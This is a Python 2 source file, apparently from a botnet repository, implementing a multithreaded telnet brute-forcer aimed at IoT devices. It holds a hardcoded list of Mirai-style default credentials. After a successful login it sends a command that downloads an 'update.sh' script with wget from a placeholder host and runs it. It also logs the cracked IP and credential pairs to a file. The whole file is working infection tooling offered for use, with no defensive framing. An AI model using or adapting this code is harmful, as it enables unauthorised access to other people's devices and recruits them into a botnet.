Path: blob/master/Botnets/Scanning/TELNET/PY BRUTER/telnet_bruter.py
5038 views
#!/usr/bin/python1import threading2import sys, os, re, time, socket3from Queue import *4from sys import stdout56if len(sys.argv) < 4:7print "Usage: python "+sys.argv[0]+" <list> <threads> <output file>"8sys.exit()910combo = [11"root:root",12"root:",13"admin:admin",14"support:support",15"user:user",16"admin:",17"admin:password",18"root:vizxv",19"root:admin",20"root:xc3511",21"root:888888",22"root:xmhdipc",23"root:default",24"root:juantech",25"root:123456",26"root:54321",27"root:12345",28"root:pass",29"ubnt:ubnt",30"root:klv1234",31"root:Zte521",32"root:hi3518",33"root:jvbzd",34"root:anko",35"root:zlxx.",36"root:7ujMko0vizxv",37"root:7ujMko0admin",38"root:system",39"root:ikwb",40"root:dreambox",41"root:user",42"root:realtek",43"root:00000000",44"admin:1111111",45"admin:1234",46"admin:12345",47"admin:54321",48"admin:123456",49"admin:7ujMko0admin",50"admin:1234",51"admin:pass",52"admin:meinsm",53"admin:admin1234",54"root:1111",55"admin:smcadmin",56"admin:1111",57"root:666666",58"root:password",59"root:1234",60"root:klv123",61"Administrator:admin",62"service:service",63"supervisor:supervisor",64"guest:guest",65"guest:12345",66"guest:12345",67"admin1:password",68"administrator:1234",69"666666:666666",70"888888:888888",71"tech:tech",72"mother:fucker"73]7475ips = open(sys.argv[1], "r").readlines()76threads = int(sys.argv[2])77output_file = sys.argv[3]78queue = Queue()79queue_count = 08081for ip in ips:82queue_count += 183stdout.write("\r[%d] Added to queue" % queue_count)84stdout.flush()85queue.put(ip)86print "\n"878889class router(threading.Thread):90def __init__ (self, ip):91threading.Thread.__init__(self)92self.ip = str(ip).rstrip('\n')93self.rekdevice="cd /tmp; wget http://0.0.0.0/update.sh; busybox wget http://0.0.0.0/update.sh; chmod 777 update.sh; sh update.sh; rm -f update.sh" #command to send94def run(self):95global fh96username = ""97password = ""98for passwd in combo:99if ":n/a" in passwd:100password=""101else:102password=passwd.split(":")[1]103if "n/a:" in passwd:104username=""105else:106username=passwd.split(":")[0]107try:108tn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)109tn.settimeout(0.37)110tn.connect((self.ip,23))111except Exception:112tn.close()113break114try:115hoho = ''116hoho += readUntil(tn, ":")117if ":" in hoho:118tn.send(username + "\r\n")119time.sleep(0.1)120except Exception:121tn.close()122try:123hoho = ''124hoho += readUntil(tn, ":")125if ":" in hoho:126tn.send(password + "\r\n")127time.sleep(0.1)128else:129pass130except Exception:131tn.close()132try:133prompt = ''134prompt += tn.recv(40960)135if "#" in prompt or "$":136success = True137else:138tn.close()139if success == True:140try:141tn.send(self.rekdevice + "\r\n")142fh.write(self.ip + ":23 " + username + ":" + password + "\n") # 1.1.1.1:23 user:pass # mirai143fh.flush()144print "[+] GOTCHA -> %s:%s:%s"%(username, password, self.ip)145tn.close()146break147except:148tn.close()149else:150tn.close()151except Exception:152tn.close()153154def readUntil(tn, string, timeout=8):155buf = ''156start_time = time.time()157while time.time() - start_time < timeout:158buf += tn.recv(1024)159time.sleep(0.01)160if string in buf: return buf161raise Exception('TIMEOUT!')162163def worker():164try:165while True:166try:167IP = queue.get()168thread = router(IP)169thread.start()170queue.task_done()171time.sleep(0.02)172except:173pass174except:175pass176177global fh178fh = open("workingtelnet.txt","a")179for l in xrange(threads):180try:181t = threading.Thread(target=worker)182t.start()183except:184pass185186